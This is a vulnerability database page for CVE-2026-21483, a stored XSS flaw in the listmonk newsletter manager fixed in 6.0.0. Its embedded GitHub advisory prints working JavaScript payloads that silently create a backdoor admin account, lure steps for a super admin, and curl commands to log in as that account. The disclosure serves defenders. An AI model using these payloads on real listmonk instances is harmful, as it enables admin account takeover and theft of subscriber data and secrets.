CVE-2026-21483
JSON

5.4medium

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

Severity
5.4medium CVSS:4.0 by GitHub_M
Exploit likelihood
0.23% (higher than 14% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-jmr4-p576-v565GO-2026-4277

Description

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.

Affected

Product or packageVersionsReported by
knadh listmonk< 6.0.0CVE List
github.com/knadh/listmonk (Go)from 1.1.1 before 6.0.0, before 1.1.1-0.20251231125615-74dc5a01cfbbGitHub Advisory Database, Go Vulnerability Database
nadh listmonkbefore 6.0.0NVD

All scores

GitHub_M5.4medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P
NVD5.4medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Classification

CWE-79

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.

GitHub Advisory Database

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting


Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.


Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.


Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)
<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>
Vector 2: Go Template Safe Function
{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

Attack Scenarios

Scenario 1: Campaign Preview Attack
  1. Attacker creates campaign with XSS payload
  2. Request is made to super admin: "Please review my newsletter draft"
  3. Super admin opens campaign and clicks Preview
  4. XSS executes → Backdoor admin account created
  5. Attacker logs in with backdoor / Hacked123
Scenario 2: Archive Link Attack (No Click Required)
  1. Attacker creates campaign with XSS payload
  2. Attacker enables Archive for the campaign
  3. Attacker shares archive link: http://localhost:9000/archive/{uuid}
  4. Super admin visits the link (no preview click needed!)
  5. XSS executes automatically → Account takeover

Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    username: 'backdoor',
    email: 'backdoor@evil.com', 
    name: 'Backdoor Admin',
    password: 'Hacked123',
    type: 'user',
    status: 'enabled',
    userRoleId: 1,
    user_role_id: 1
  })
});
</script>
Step 2: Enable Archive (Optional - for link-based attack)
  1. Edit campaign settings
  2. Enable "Archive"
  3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}
Step 3: Trigger Execution

Option A - Preview:

  • Send campaign to super admin for "review"
  • Super admin previews → XSS fires

Option B - Archive Link:

  • Share archive URL with super admin
  • Super admin visits link → XSS fires automatically
Step 4: Verify Takeover
# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
  -d "username=backdoor&password=Hacked123" \
  -c cookies.txt -L

# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign]

Screenshot 2025-12-27 170259

[Screenshot 2: Super admin previewing campaign]

image

[Screenshot 3: Backdoor user successfully created]

Screenshot 2025-12-27 170413

Impact

ActionPossible via XSS
Create backdoor admin✅ Yes
Export all subscribers✅ Yes
Modify SMTP settings✅ Yes
Delete all campaigns✅ Yes
Access API keys/secrets✅ Yes

Affected Components

ComponentXSS Works?Method
Campaign body (Raw HTML)✅ YesDirect <script> tag
Campaign body (Template)✅ Yes{{ \ ` | Safe }}`
Template body✅ YesBoth methods
Campaign archive✅ YesAutomatic execution on visit

Go Vulnerability Database

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover in github.com/knadh/listmonk.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/knadh/listmonk from v1.1.1 before v6.0.0.

NVD (es)

listmonk es un gestor de boletines y listas de correo autónomo y autoalojado. Antes de la versión 6.0.0, un usuario con privilegios inferiores y permisos de gestión de campañas puede inyectar JavaScript malicioso en campañas o plantillas. Cuando un usuario con privilegios superiores (Super Admin) ve o previsualiza este contenido, el XSS se ejecuta en el contexto de su navegador, permitiendo al atacante realizar acciones privilegiadas como crear cuentas de administrador con puerta trasera. El ataque puede ser instrumentalizado a través de la función de archivo público, donde las víctimas simplemente necesitan visitar un enlace - no se requiere hacer clic en la previsualización. La versión 6.0.0 corrige el problema.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-21483 changed 2026-01-02CVE Terms of Use
GitHub Advisory DatabaseGHSA-jmr4-p576-v565 changed 2026-02-03CC-BY-4.0
Go Vulnerability DatabaseGO-2026-4277 changed 2026-01-12CC-BY-4.0
NVDCVE-2026-21483 changed 2026-06-17Public domain